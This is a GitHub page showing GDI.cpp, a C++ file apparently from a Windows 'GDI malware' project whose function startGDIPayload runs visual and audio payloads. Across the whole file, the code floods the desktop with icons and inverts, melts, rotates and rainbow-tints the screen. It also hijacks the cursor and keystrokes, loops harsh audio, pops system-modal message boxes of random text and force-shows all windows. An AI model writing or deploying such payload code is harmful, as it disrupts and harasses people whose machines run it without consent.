Repository navigation
Expand file tree
/
Copy pathGDI.cpp
More file actions
321 lines (278 loc) · 9.52 KB
/
Copy pathGDI.cpp
File metadata and controls
321 lines (278 loc) · 9.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#include "MU.h"
#include <thread>
#include <mmsystem.h>
#include <chrono>
#include <atomic>
#include <string>
#pragma comment(lib, "Winmm.lib")
HCRYPTPROV prov;
int Random() {
if (prov == NULL) {
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT)) {
ExitProcess(1);
}
}
int out;
CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));
return out & 0x7fffffff;
}
int64_t getTimeMS() {
return std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now().time_since_epoch()).count();
}
int AudioPayload(void)
{
int number = getTimeMS();
while (number <= 1000)
number = number / 10;
while (1) {
HWAVEOUT hwo = 0;
WAVEFORMATEX wfx = {
WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0
};
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
char buffer[8000 * 100];
for (DWORD t = 0; t < sizeof(buffer); t++)
buffer[t] = static_cast<char>(
(t - (number >> 4 & t >> number) & t >> 4) - 1
+
(number + t / (1 + (t >> 9 & number >> 8))) & 128
+
(((t & t >> 2) - (t >> 3 & t)) & ((t & t >> 13)
- (t >> 13))) ^ (t >> 8 & t)
*
(((t & t >> 2) - (t >> 3 & t)) & ((t & t >> 13)
- (t >> 13))) ^ (t >> 8 & t)
);
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
waveOutClose(hwo);
Sleep(-1);
}
}
void DrawIconsT() {
const int scrw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
const int scrh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
int ix = GetSystemMetrics(SM_CXICON) / 2;
int iy = GetSystemMetrics(SM_CYICON) / 2;
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
POINT cursor;
while (true) {
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x, cursor.y, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, Random() % scrw, Random() % scrh, LoadIcon(NULL, IDI_WARNING));
DrawIcon(hdc, Random() % scrw, Random() % scrh, LoadIcon(NULL, IDI_APPLICATION));
DrawIcon(hdc, Random() % scrw, Random() % scrh, LoadIcon(NULL, IDI_ASTERISK));
DrawIcon(hdc, Random() % scrw, Random() % scrh, LoadIcon(NULL, IDI_EXCLAMATION));
ReleaseDC(hwnd, hdc);
};
}
void PartialRotate(std::atomic<bool>& quit_flag) {
HDC desktopDC = GetDC(0);
const int scrx = GetSystemMetrics(SM_XVIRTUALSCREEN);
const int scry = GetSystemMetrics(SM_YVIRTUALSCREEN);
const int scrw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
const int scrh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
HDC screenshotDC = CreateCompatibleDC(desktopDC);
HBITMAP screenshotBmp = CreateCompatibleBitmap(desktopDC, scrw, scrh);
SelectObject(screenshotDC, screenshotBmp);
int i = 0;
while (!quit_flag) {
desktopDC = GetDC(0);
BitBlt(screenshotDC, scrx, scry, scrw, scrh, desktopDC, 0, 0, SRCCOPY);
int rx = Random() % 1920;
int ry = Random() % 1080;
SetCursorPos(rx, ry);
rx = Random() % 1920;
ry = Random() % 1080;
for (float angle = 3.1415926535 * 1.8; angle < 2 * 3.1415926535; angle += 3.1415926535 / 30) {
float sinx = sinf(angle);
float cosy = cosf(angle);
for (int d = 0; d < 40 * 50; d += 50) {
int _x = sinx * (d - 1) + rx;
int _y = cosy * (d - 1) + ry;
int targetX = sinx * d + rx;
int targetY = cosy * d + ry;
BitBlt(screenshotDC, targetX, targetY, 50, 50, screenshotDC, _x, _y, SRCCOPY);
int x2 = (cosf(angle) * (scrx - 400) - sinf(angle) * (scry - 400) + scrx);
int y2 = (sinf(angle) * (scrx - 400) - cosf(angle) * (scry - 400) + scrx);
BitBlt(screenshotDC, 500, 0, x2, y2, screenshotDC, _x, _y, SRCCOPY);
BitBlt(screenshotDC, 1000, 0, x2, y2, screenshotDC, _x, _y, SRCCOPY);
BitBlt(screenshotDC, 1500, 1000, x2, y2, screenshotDC, _x, _y, SRCCOPY);
BitBlt(screenshotDC, 2000, 1000, x2, y2, screenshotDC, _x, _y, SRCCOPY);
}
i++;
if (i % 25 == 0)
PatBlt(desktopDC, scrx, scry, scrw, scrh, DSTINVERT);
StretchBlt(desktopDC, 0, 0, scrw, scrh, screenshotDC, scrx + 10, scry + 10, scrw, scrh, SRCCOPY);
StretchBlt(desktopDC, 0, 0, scrw, scrh, screenshotDC, scrx - 15, scry - 15, scrw, scrh, SRCCOPY);
}
Sleep(10);
}
}
#define randx Random() % 1920
#define randy Random() % 1080
void Melt(std::atomic<bool> &quit_flag)
{
HDC desktop = GetDC(NULL);
int xs = GetSystemMetrics(SM_CXSCREEN);
int ys = GetSystemMetrics(SM_CYSCREEN);
int sal1 = 0, sal2 = 0, sal3 = 0;
while (!quit_flag) {
desktop = GetDC(NULL);
BitBlt(desktop, 1, -1, xs, ys, desktop, sal1, sal2, SRCPAINT);
sal3++;
if (sal3 % 30 == 0)
{
if (sal1 % 5 == 0)
sal1++;
if (sal1 % 5 == 0)
sal2--;
}
Sleep(100);
}
}
void GotoDesktop(void) {
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_LWIN;
ip.ki.dwFlags = 0;
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = 0x44;
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = 0x44;
ip.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &ip, sizeof(INPUT));
ip.ki.wVk = VK_LWIN;
SendInput(1, &ip, sizeof(INPUT));
}
void Rainbow(std::atomic < bool >& quit_flag) {
HDC desk = GetDC(0);
int sw = GetSystemMetrics(0), sh = GetSystemMetrics(1);
while (!quit_flag) {
COLORREF ColorRush = RGB(Random() % 255, Random() % 255, Random() % 255);
HBRUSH hBrush = CreateSolidBrush(RGB(Random() % 255, Random() % 255, Random() % 255));
SelectObject(desk, hBrush);
PatBlt(desk, 0, 0, sw, sh, PATINVERT);
Sleep(5000);
}
}
std::string gen_random() {
static
const char x[] =
"random string. zzddnbghju9839jiomnkw:(FD {}[][][]";
int len = 30;
std::string STR;
STR.reserve(len);
for (int i = 0; i < len; ++i) {
STR += x[Random() % (sizeof(x) - 1)];
}
return STR;
}
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int x = Random() % (500);
int y = Random() % (700);
LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HCBT_CREATEWND) {
CREATESTRUCT* pcs = ((CBT_CREATEWND*)lParam)->lpcs;
if ((pcs->style & WS_DLGFRAME) || (pcs->style & WS_POPUP)) {
HWND hwnd = (HWND)wParam;
pcs->x = x;
pcs->y = y;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
DWORD WINAPI ripMessageThread(LPVOID parameter) {
HHOOK hook = SetWindowsHookEx(WH_CBT, msgBoxHook, 0, GetCurrentThreadId());
std::string lol = gen_random();
std::string lol2 = gen_random();
MessageBoxA(NULL, (LPCSTR)lol.c_str(), "(!)", MB_OK | MB_SYSTEMMODAL | MB_ICONHAND);
UnhookWindowsHookEx(hook);
return 0;
}
int i;
VOID ci(int x, int y, int w, int h)
{
HDC hdc = GetDC(0);
HRGN hrgn;
if (i % 2 == 0 )
hrgn = CreateRectRgn(x, y, w + x, h + y);
else hrgn = CreateEllipticRgn(x, y, w + x, h + y);
SelectClipRgn(hdc, hrgn);
BitBlt(hdc, x, y, w, h, hdc, x, y, NOTSRCCOPY);
DeleteObject(hrgn);
ReleaseDC(NULL, hdc);
i++;
}
VOID showwindow(WCHAR* target) {
EnableWindow(FindWindowW(target, 0), TRUE);
ShowWindow(FindWindowW(target, 0), TRUE);
}
BOOL CALLBACK EnumWindowsCallback(HWND hwnd, LPARAM lparam) {
INT size = GetWindowTextLength(hwnd);
WCHAR* buf = new wchar_t[size + 1];
GetWindowTextW(hwnd, buf, size + 1);
WCHAR* title(buf);
showwindow(title);
return TRUE;
}
VOID ShowAllWindows() {
EnumWindows(EnumWindowsCallback, 0);
}
VOID startGDIPayload
(no_args)
{
std::thread DrawIconThread(DrawIconsT);
#ifdef RELEASE
ShowAllWindows();
#endif
Sleep(1000);
GotoDesktop();
HDC mHDC;
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
for (int mI = 0; mI < 50; mI++) {
mHDC = GetDC(0);
BitBlt(
mHDC, Random() % 2, Random() % 2, w, h, mHDC,
Random() % 2, Random() % 2, SRCAND);
Sleep(100);
ci(w, h, w, h);
}
Sleep(1000);
std::atomic_bool rotate_quit_flag(false);
std::atomic_bool rainbow_quit_flag(false);
std::atomic_bool melt_quit_flag(false);
GotoDesktop();
std::thread PartialRotateThread(PartialRotate, std::ref(rotate_quit_flag));
Sleep(1000);
std::thread RainbowThread(Rainbow, std::ref(rainbow_quit_flag));
Sleep(1000);
std::thread AudioThread(AudioPayload);
Sleep(1000);
Sleep(10000);
rotate_quit_flag = true;
for (int i = 0; i < 10; i++) {
CreateThread(NULL, 4096, &ripMessageThread, NULL, NULL, NULL);
Sleep(50);
x = Random() % (1920);
y = Random() % (1080);
}
Sleep(10000+15000);
std::thread MeltThread(Melt, std::ref(melt_quit_flag));
rainbow_quit_flag = true;
Sleep(10000);
melt_quit_flag = true;
Sleep(1000);
/* Stupid debug error lmfao */
DrawIconThread.join();
MeltThread.join();
AudioThread.join();
RainbowThread.join();
PartialRotateThread.join();
}